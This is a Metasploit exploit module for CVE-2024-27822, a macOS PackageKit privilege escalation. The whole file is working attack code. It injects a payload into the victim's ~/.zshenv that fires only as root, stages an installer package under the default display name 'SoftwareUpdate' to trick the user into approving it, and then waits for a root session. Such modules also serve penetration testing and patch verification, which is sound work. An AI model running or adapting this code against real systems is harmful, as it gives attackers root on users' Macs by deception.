## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking # user interaction required include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation', 'Description' => %q{ This module exploits CVE-2024-27822, a vulnerability in macOS PackageKit.framework where PKG installer scripts using a ZSH shebang (#!/bin/zsh) are executed as root while inheriting the installing user's environment. This causes ZSH to load the user's ~/.zshenv with root privileges before the installer script body runs. The module injects a payload into ~/.zshenv that only fires when EUID is 0, uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose install script uses a #!/bin/zsh shebang, and opens it with Installer.app. When the user approves the installation dialog and authenticates, PackageKit runs the install script as root. ZSH sources ~/.zshenv before the script body executes, so the payload fires with root privileges. The original ~/.zshenv content is restored immediately after the payload runs. Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier, and all macOS 11 and older releases. Fixed in: macOS 14.5, 13.6.7, 12.7.5. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mykola Grymalyuk', # Discovery and research 'h00die' # Metasploit module ], 'Platform' => ['osx', 'unix'], 'Arch' => ARCH_CMD, 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['macOS', {}]], 'DefaultTarget' => 0, 'Privileged' => true, 'Passive' => true, 'Stance' => Msf::Exploit::Stance::Passive, 'References' => [ ['CVE', '2024-27822'], ['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'], ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION], ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION] ], 'DefaultOptions' => { 'WfsDelay' => 1_800, # 30min 'PrependFork' => true }, 'DisclosureDate' => '2024-06-03', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']), OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate']) ]) end def check unless command_exists?('zsh') return CheckCode::Safe("zsh isn't available on this system") end version = Rex::Version.new(get_system_version) case version when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)") when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable") when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)") when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable") when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)") when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable") else CheckCode::Appears("macOS #{version} (11 and older) is vulnerable") end end def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir']) home_dir = create_process('printenv', args: ['HOME']).strip fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank? zshenv_path = "#{home_dir}/.zshenv" # Preserve original .zshenv so we can restore it after root execution original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : '' original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '') # The injection block only runs when EUID==0 (PackageKit root context). # It restores .zshenv first, then runs the payload. injection = <<~ZSHENV if [ "$EUID" = "0" ]; then echo '#{original_b64}' | base64 -d > '#{zshenv_path}' #{payload.encoded} fi ZSHENV print_status("Injecting payload into #{zshenv_path}") write_file(zshenv_path, injection + original_zshenv) # Fallback cleanup if the PKG is never installed register_file_for_cleanup(zshenv_path) pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_') pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg" print_status("Uploading PKG: #{pkg_path}") write_file(pkg_path, load_template_pkg) fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path) register_file_for_cleanup(pkg_path) print_good("PKG uploaded: #{pkg_path}") print_warning('Opening Installer.app - the user must click Install and authenticate.') create_process('open', args: [pkg_path]) # taken from multi-handler stime = Time.now.to_f timeout = datastore['WfsDelay'].to_i loop do break if session_created? break if timeout > 0 && (stime + timeout < Time.now.to_f) Rex::ThreadSafe.sleep(1) end end private def load_template_pkg template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg') unless File.exist?(template_path) fail_with(Failure::BadConfig, "Template PKG not found at #{template_path}. " \ 'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.') end File.binread(template_path) end end